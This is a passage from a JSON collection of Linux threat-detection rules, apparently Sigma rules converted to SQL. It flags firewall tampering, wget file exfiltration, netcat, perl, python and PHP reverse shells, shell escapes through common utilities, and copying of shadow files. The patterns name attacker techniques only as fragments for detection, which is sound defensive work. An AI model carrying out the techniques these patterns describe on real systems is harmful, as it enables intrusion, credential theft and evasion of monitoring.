            "attack.t1222.002"
        ],
        "falsepositives": [
            "Administrator interacting with immutable files (e.g. for instance backups)."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE type='EXECVE' AND a0 LIKE '%chattr%' ESCAPE '\\' AND a1 LIKE '%-i%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Modify System Firewall",
        "id": "323ff3f5-0013-4847-bbd4-250b5edb62cc",
        "status": "test",
        "description": "Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access.\nDetection rules that match only on the disabling of firewalls will miss this.\n",
        "author": "IAI",
        "tags": [
            "attack.defense-impairment",
            "attack.t1686"
        ],
        "falsepositives": [
            "Legitimate admin activity"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (type='EXECVE' AND a0='iptables' AND a1 LIKE '%DROP%' ESCAPE '\\') OR (type='EXECVE' AND a0='firewall-cmd' AND a1 LIKE '%remove%' ESCAPE '\\') OR (type='EXECVE' AND a0='ufw' AND a1 LIKE '%delete%' ESCAPE '\\') OR (type='EXECVE' AND a0='nft' AND (a1 LIKE '%delete%' ESCAPE '\\' OR a1 LIKE '%flush%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Data Exfiltration with Wget",
        "id": "cb39d16b-b3b6-4a7a-8222-1cf24b686ffc",
        "status": "test",
        "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n",
        "author": "Pawel Mazur",
        "tags": [
            "attack.exfiltration",
            "attack.t1048.003"
        ],
        "falsepositives": [
            "Legitimate usage of wget utility to post a file"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE type='EXECVE' AND a0='wget' AND a1 LIKE '--post-file=%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Commands Linux",
        "id": "1543ae20-cbdf-4ec1-8d12-7664d667a825",
        "status": "test",
        "description": "Detects relevant commands often related to malware or hacking activity",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.execution",
            "attack.t1059.004"
        ],
        "falsepositives": [
            "Admin activity"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (type='EXECVE' AND a0='chmod' AND a1=777) OR (type='EXECVE' AND a0='chmod' AND a1='u+s') OR (type='EXECVE' AND a0='cp' AND a1='/bin/ksh') OR (type='EXECVE' AND a0='cp' AND a1='/bin/sh')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Audit Rules Deleted Via Auditctl",
        "id": "bed26dea-4525-47f4-b24a-76e30e44ffb0",
        "status": "experimental",
        "description": "Detects the execution of 'auditctl' with the '-D' command line parameter, which deletes all configured audit rules and watches on Linux systems.\nThis technique is commonly used by attackers to disable audit logging and cover their tracks by removing monitoring capabilities.\nRemoval of audit rules can significantly impair detection of malicious activities on the affected system.\n",
        "author": "Mohamed LAKRI",
        "tags": [
            "attack.defense-impairment",
            "attack.t1685.004"
        ],
        "falsepositives": [
            "An administrator troubleshooting. Investigate all attempts."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/auditctl' ESCAPE '\\' AND CommandLine REGEXP '-D'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Netcat Reverse Shell Execution",
        "id": "7f734ed0-4f47-46c0-837f-6ee62505abd9",
        "status": "test",
        "description": "Detects execution of netcat with the \"-e\" flag followed by common shells. This could be a sign of a potential reverse shell setup.",
        "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/nc' ESCAPE '\\' OR Image LIKE '%/ncat' ESCAPE '\\') AND (CommandLine LIKE '% -c %' ESCAPE '\\' OR CommandLine LIKE '% -e %' ESCAPE '\\') AND (CommandLine LIKE '% ash%' ESCAPE '\\' OR CommandLine LIKE '% bash%' ESCAPE '\\' OR CommandLine LIKE '% bsh%' ESCAPE '\\' OR CommandLine LIKE '% csh%' ESCAPE '\\' OR CommandLine LIKE '% ksh%' ESCAPE '\\' OR CommandLine LIKE '% pdksh%' ESCAPE '\\' OR CommandLine LIKE '% sh%' ESCAPE '\\' OR CommandLine LIKE '% tcsh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/ash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/bash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/bsh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/csh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/ksh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/pdksh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/tcsh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh%' ESCAPE '\\' OR CommandLine LIKE '%$IFSash%' ESCAPE '\\' OR CommandLine LIKE '%$IFSbash%' ESCAPE '\\' OR CommandLine LIKE '%$IFSbsh%' ESCAPE '\\' OR CommandLine LIKE '%$IFScsh%' ESCAPE '\\' OR CommandLine LIKE '%$IFSksh%' ESCAPE '\\' OR CommandLine LIKE '%$IFSpdksh%' ESCAPE '\\' OR CommandLine LIKE '%$IFSsh%' ESCAPE '\\' OR CommandLine LIKE '%$IFStcsh%' ESCAPE '\\' OR CommandLine LIKE '%$IFSzsh%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Mask System Power Settings Via Systemctl",
        "id": "c172b7b5-f3a1-4af2-90b7-822c63df86cb",
        "status": "experimental",
        "description": "Detects the use of systemctl mask to disable system power management targets such as suspend, hibernate, or hybrid sleep.\nAdversaries may mask these targets to prevent a system from entering sleep or shutdown states, ensuring their malicious processes remain active and uninterrupted.\nThis behavior can be associated with persistence or defense evasion, as it impairs normal system power operations to maintain long-term access or avoid termination of malicious activity.\n",
        "author": "Milad Cheraghi, Nasreddine Bencherchali",
        "tags": [
            "attack.persistence",
            "attack.impact",
            "attack.t1653"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/systemctl' ESCAPE '\\' AND CommandLine LIKE '% mask%' ESCAPE '\\') AND (CommandLine LIKE '%suspend.target%' ESCAPE '\\' OR CommandLine LIKE '%hibernate.target%' ESCAPE '\\' OR CommandLine LIKE '%hybrid-sleep.target%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Webshell Indicators",
        "id": "818f7b24-0fba-4c49-a073-8b755573b9c7",
        "status": "test",
        "description": "Detects suspicious sub processes of web server processes",
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.persistence",
            "attack.t1505.003"
        ],
        "falsepositives": [
            "Web applications that invoke Linux command line tools"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ((ParentImage LIKE '%/httpd' ESCAPE '\\' OR ParentImage LIKE '%/lighttpd' ESCAPE '\\' OR ParentImage LIKE '%/nginx' ESCAPE '\\' OR ParentImage LIKE '%/apache2' ESCAPE '\\' OR ParentImage LIKE '%/node' ESCAPE '\\' OR ParentImage LIKE '%/caddy' ESCAPE '\\') OR (ParentCommandLine LIKE '%/bin/java%' ESCAPE '\\' AND ParentCommandLine LIKE '%tomcat%' ESCAPE '\\') OR (ParentCommandLine LIKE '%/bin/java%' ESCAPE '\\' AND ParentCommandLine LIKE '%websphere%' ESCAPE '\\')) AND (Image LIKE '%/whoami' ESCAPE '\\' OR Image LIKE '%/ifconfig' ESCAPE '\\' OR Image LIKE '%/ip' ESCAPE '\\' OR Image LIKE '%/bin/uname' ESCAPE '\\' OR Image LIKE '%/bin/cat' ESCAPE '\\' OR Image LIKE '%/bin/crontab' ESCAPE '\\' OR Image LIKE '%/hostname' ESCAPE '\\' OR Image LIKE '%/iptables' ESCAPE '\\' OR Image LIKE '%/netstat' ESCAPE '\\' OR Image LIKE '%/pwd' ESCAPE '\\' OR Image LIKE '%/route' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "OMIGOD SCX RunAsProvider ExecuteScript",
        "id": "6eea1bf6-f8d2-488a-a742-e6ef6c1b67db",
        "status": "test",
        "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n",
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "tags": [
            "attack.privilege-escalation",
            "attack.initial-access",
            "attack.execution",
            "attack.t1068",
            "attack.t1190",
            "attack.t1203"
        ],
        "falsepositives": [
            "Legitimate use of SCX RunAsProvider ExecuteScript."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE User='root' AND LogonId=0 AND CurrentDirectory='/var/opt/microsoft/scx/tmp' AND CommandLine LIKE '%/etc/opt/microsoft/scx/conf/tmpdir/scx%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Nohup Execution",
        "id": "457df417-8b9d-4912-85f3-9dbda39c3645",
        "status": "test",
        "description": "Detects execution of binaries located in potentially suspicious locations via \"nohup\"",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.execution"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/nohup' ESCAPE '\\' AND CommandLine LIKE '%/tmp/%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Process Execution From Shared Memory Directory",
        "id": "5cd16c8f-44a6-4654-81e7-a84d6db507d4",
        "status": "experimental",
        "description": "Detects the execution of a binary from the Linux shared memory directory /dev/shm.\nThis directory is a tmpfs mount backed entirely by RAM and is abused by attackers for fileless malware staging because files written there never touch physical disk and may evade disk-based detection.\n",
        "author": "Stan Beukers",
        "tags": [
            "attack.stealth",
            "attack.execution",
            "attack.t1027.011"
        ],
        "falsepositives": [
            "Unlikely in production environments; some container runtimes or IPC frameworks may use /dev/shm for inter-process communication but should not spawn executables."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '/dev/shm/%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Perl Reverse Shell Execution",
        "id": "259df6bc-003f-4306-9f54-4ff1a08fa38e",
        "status": "test",
        "description": "Detects execution of the perl binary with the \"-e\" flag and common strings related to potential reverse shell activity",
        "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.execution"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/perl' ESCAPE '\\' AND CommandLine LIKE '% -e %' ESCAPE '\\') AND ((CommandLine LIKE '%fdopen(%' ESCAPE '\\' AND CommandLine LIKE '%::Socket::INET%' ESCAPE '\\') OR (CommandLine LIKE '%Socket%' ESCAPE '\\' AND CommandLine LIKE '%connect%' ESCAPE '\\' AND CommandLine LIKE '%open%' ESCAPE '\\' AND CommandLine LIKE '%exec%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Execution Of Process Located In Tmp Directory",
        "id": "2fade0b6-7423-4835-9d4f-335b39b83867",
        "status": "test",
        "description": "Detects execution of shells from a parent process located in a temporary (/tmp) directory",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.execution"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ParentImage LIKE '/tmp/%' ESCAPE '\\' AND (Image LIKE '%/bash' ESCAPE '\\' OR Image LIKE '%/csh' ESCAPE '\\' OR Image LIKE '%/dash' ESCAPE '\\' OR Image LIKE '%/fish' ESCAPE '\\' OR Image LIKE '%/ksh' ESCAPE '\\' OR Image LIKE '%/sh' ESCAPE '\\' OR Image LIKE '%/zsh' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential GobRAT File Discovery Via Grep",
        "id": "e34cfa0c-0a50-4210-9cb3-5632d08eb041",
        "status": "test",
        "description": "Detects the use of grep to discover specific files created by the GobRAT malware",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.discovery",
            "attack.t1082"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/grep' ESCAPE '\\' AND (CommandLine LIKE '%apached%' ESCAPE '\\' OR CommandLine LIKE '%frpc%' ESCAPE '\\' OR CommandLine LIKE '%sshd.sh%' ESCAPE '\\' OR CommandLine LIKE '%zone.arm%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Copy Passwd Or Shadow From TMP Path",
        "id": "fa4aaed5-4fe0-498d-bbc0-08e3346387ba",
        "status": "test",
        "description": "Detects when the file \"passwd\" or \"shadow\" is copied from tmp path",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.credential-access",
            "attack.t1552.001"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/cp' ESCAPE '\\' AND CommandLine LIKE '%/tmp/%' ESCAPE '\\' AND (CommandLine LIKE '%passwd%' ESCAPE '\\' OR CommandLine LIKE '%shadow%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi Admin Permission Assigned To Account Via ESXCLI",
        "id": "9691f58d-92c1-4416-8bf3-2edd753ec9cf",
        "status": "test",
        "description": "Detects execution of the \"esxcli\" command with the \"system\" and \"permission\" flags in order to assign admin permissions to an account.",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.persistence",
            "attack.execution",
            "attack.privilege-escalation",
            "attack.t1059.012",
            "attack.t1098"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/esxcli' ESCAPE '\\' AND CommandLine LIKE '%system%' ESCAPE '\\' AND (CommandLine LIKE '% permission %' ESCAPE '\\' AND CommandLine LIKE '% set%' ESCAPE '\\' AND CommandLine LIKE '%Admin%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Inline Python Execution - Spawn Shell Via OS System Library",
        "id": "2d2f44ff-4611-4778-a8fc-323a0e9850cc",
        "status": "test",
        "description": "Detects execution of inline Python code via the \"-c\" in order to call the \"system\" function from the \"os\" library, and spawn a shell.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ((Image LIKE '%/python' ESCAPE '\\' OR Image LIKE '%/python2' ESCAPE '\\' OR Image LIKE '%/python3' ESCAPE '\\') OR (Image LIKE '%/python2.%' ESCAPE '\\' OR Image LIKE '%/python3.%' ESCAPE '\\')) AND ((CommandLine LIKE '% -c %' ESCAPE '\\' AND CommandLine LIKE '%os.system(%' ESCAPE '\\') AND (CommandLine LIKE '%/bin/bash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Execution via Flock - Linux",
        "id": "4b09c71e-4269-4111-9cdd-107d8867f0cc",
        "status": "test",
        "description": "Detects the use of the \"flock\" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.discovery",
            "attack.t1083"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/flock' ESCAPE '\\' AND CommandLine LIKE '% -u %' ESCAPE '\\') AND (CommandLine LIKE '%/bin/bash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Execution GCC  - Linux",
        "id": "9b5de532-a757-4d70-946c-1f3e44f48b4d",
        "status": "test",
        "description": "Detects the use of the \"gcc\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.discovery",
            "attack.t1083"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ((Image LIKE '%/c89' ESCAPE '\\' OR Image LIKE '%/c99' ESCAPE '\\' OR Image LIKE '%/gcc' ESCAPE '\\') AND CommandLine LIKE '%-wrapper%' ESCAPE '\\') AND (CommandLine LIKE '%/bin/bash,-s%' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash,-s%' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish,-s%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh,-s%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh,-s%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Invocation of Shell via AWK - Linux",
        "id": "8c1a5675-cb85-452f-a298-b01b22a51856",
        "status": "test",
        "description": "Detects the execution of \"awk\" or it's sibling commands, to invoke a shell using the system() function.\nThis behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ((Image LIKE '%/awk' ESCAPE '\\' OR Image LIKE '%/gawk' ESCAPE '\\' OR Image LIKE '%/mawk' ESCAPE '\\' OR Image LIKE '%/nawk' ESCAPE '\\') AND CommandLine LIKE '%BEGIN {system%' ESCAPE '\\') AND (CommandLine LIKE '%/bin/bash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential PHP Reverse Shell",
        "id": "c6714a24-d7d5-4283-a36b-3ffd091d5f7e",
        "status": "test",
        "description": "Detects usage of the PHP CLI with the \"-r\" flag which allows it to run inline PHP code. The rule looks for calls to the \"fsockopen\" function which allows the creation of sockets.\nAttackers often leverage this in combination with functions such as \"exec\" or \"fopen\" to initiate a reverse shell connection.\n",
        "author": "@d4ns4n_",
        "tags": [
            "attack.execution"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/php%' ESCAPE '\\' AND (CommandLine LIKE '% -r %' ESCAPE '\\' AND CommandLine LIKE '%fsockopen%' ESCAPE '\\') AND (CommandLine LIKE '%ash%' ESCAPE '\\' OR CommandLine LIKE '%bash%' ESCAPE '\\' OR CommandLine LIKE '%bsh%' ESCAPE '\\' OR CommandLine LIKE '%csh%' ESCAPE '\\' OR CommandLine LIKE '%ksh%' ESCAPE '\\' OR CommandLine LIKE '%pdksh%' ESCAPE '\\' OR CommandLine LIKE '%sh%' ESCAPE '\\' OR CommandLine LIKE '%tcsh%' ESCAPE '\\' OR CommandLine LIKE '%zsh%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Capsh Shell Invocation - Linux",
        "id": "db1ac3be-f606-4e3a-89e0-9607cbe6b98a",
        "status": "test",
        "description": "Detects the use of the \"capsh\" utility to invoke a shell.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/capsh' ESCAPE '\\' AND CommandLine LIKE '% --' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Execution via Git - Linux",
        "id": "47b3bbd4-1bf7-48cc-84ab-995362aaa75a",
        "status": "test",
        "description": "Detects the use of the \"git\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ParentImage LIKE '%/git' ESCAPE '\\' AND (ParentCommandLine LIKE '% -p %' ESCAPE '\\' AND ParentCommandLine LIKE '%help%' ESCAPE '\\') AND (CommandLine LIKE '%bash 0<&1%' ESCAPE '\\' OR CommandLine LIKE '%dash 0<&1%' ESCAPE '\\' OR CommandLine LIKE '%sh 0<&1%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Invocation of Shell via Rsync",
        "id": "297241f3-8108-4b3a-8c15-2dda9f844594",
        "status": "experimental",
        "description": "Detects the execution of a shell as sub process of \"rsync\" without the expected command line flag \"-e\" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.\n",
        "author": "Florian Roth",
        "tags": [
            "attack.execution",
            "attack.t1059",
            "attack.t1203"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ((ParentImage LIKE '%/rsync' ESCAPE '\\' OR ParentImage LIKE '%/rsyncd' ESCAPE '\\') AND (Image LIKE '%/ash' ESCAPE '\\' OR Image LIKE '%/bash' ESCAPE '\\' OR Image LIKE '%/csh' ESCAPE '\\' OR Image LIKE '%/dash' ESCAPE '\\' OR Image LIKE '%/ksh' ESCAPE '\\' OR Image LIKE '%/sh' ESCAPE '\\' OR Image LIKE '%/tcsh' ESCAPE '\\' OR Image LIKE '%/zsh' ESCAPE '\\')) AND (NOT CommandLine LIKE '% -e %' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Python One-Liners with Base64 Decoding - Linux",
        "id": "55e862a8-dd9c-4651-807a-f21fcad56716",
        "status": "experimental",
        "description": "Detects the use of Python's base64 decoding functions in command line executions on Linux systems.\nMalicious scripts often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.\n",
        "author": "Hugh Ryan (HueCodes), Swachchhanda Shrawan Poudel (Nextron Systems)",
        "tags": [
            "attack.execution",
            "attack.stealth",
            "attack.t1059.006",
            "attack.t1027.010"
        ],
        "falsepositives": [
            "Legitimate use of Python for decoding data, which is uncommon in typical enterprise environments but possible in development or data analysis contexts."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/python%' ESCAPE '\\' AND ((CommandLine LIKE '%import%' ESCAPE '\\' AND CommandLine LIKE '%base64%' ESCAPE '\\' AND CommandLine LIKE '% -c%' ESCAPE '\\') AND (CommandLine LIKE '%.decode%' ESCAPE '\\' OR CommandLine LIKE '%b16decode%' ESCAPE '\\' OR CommandLine LIKE '%b32decode%' ESCAPE '\\' OR CommandLine LIKE '%b32hexdecode%' ESCAPE '\\' OR CommandLine LIKE '%b64decode%' ESCAPE '\\' OR CommandLine LIKE '%b85decode%' ESCAPE '\\' OR CommandLine LIKE '%z85decode%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Triple Cross eBPF Rootkit Install Commands",
        "id": "22236d75-d5a0-4287-bf06-c93b1770860f",
        "status": "test",
        "description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.stealth",
            "attack.t1014"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/sudo' ESCAPE '\\' AND (CommandLine LIKE '% tc %' ESCAPE '\\' AND CommandLine LIKE '% enp0s3 %' ESCAPE '\\') AND (CommandLine LIKE '% qdisc %' ESCAPE '\\' OR CommandLine LIKE '% filter %' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Execution via Find - Linux",
        "id": "6adfbf8f-52be-4444-9bac-81b539624146",
        "status": "test",
        "description": "Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.discovery",
            "attack.t1083"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/find' ESCAPE '\\' AND (CommandLine LIKE '% . %' ESCAPE '\\' AND CommandLine LIKE '%-exec%' ESCAPE '\\')) AND (CommandLine LIKE '%/bin/bash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Python Reverse Shell Execution Via PTY And Socket Modules",
        "id": "32e62bc7-3de0-4bb1-90af-532978fe42c0",
        "status": "test",
        "description": "Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.\n",
        "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.execution"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%python%' ESCAPE '\\' AND (CommandLine LIKE '% -c %' ESCAPE '\\' AND CommandLine LIKE '%import%' ESCAPE '\\' AND CommandLine LIKE '%pty%' ESCAPE '\\' AND CommandLine LIKE '%socket%' ESCAPE '\\' AND CommandLine LIKE '%spawn%' ESCAPE '\\' AND CommandLine LIKE '%.connect%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Execution via Nice - Linux",
        "id": "093d68c7-762a-42f4-9f46-95e79142571a",
        "status": "test",
        "description": "Detects the use of the \"nice\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.discovery",
            "attack.t1083"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/nice' ESCAPE '\\' AND (CommandLine LIKE '%/bin/bash' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Kaspersky Endpoint Security Stopped Via CommandLine - Linux",
        "id": "36388120-b3f1-4ce9-b50b-280d9a7f4c04",
        "status": "experimental",
        "description": "Detects execution of the Kaspersky init.d stop script on Linux systems either directly or via systemctl.\nThis activity may indicate a manual interruption of the antivirus service by an administrator, or it could be a sign of potential tampering or evasion attempts by malicious actors.\n",
        "author": "Milad Cheraghi",
        "tags": [
            "attack.execution",
            "attack.defense-impairment",
            "attack.t1685"
        ],
        "falsepositives": [
            "System administrator manually stopping Kaspersky services"
        ],
        "level": "high",
        "rule": [
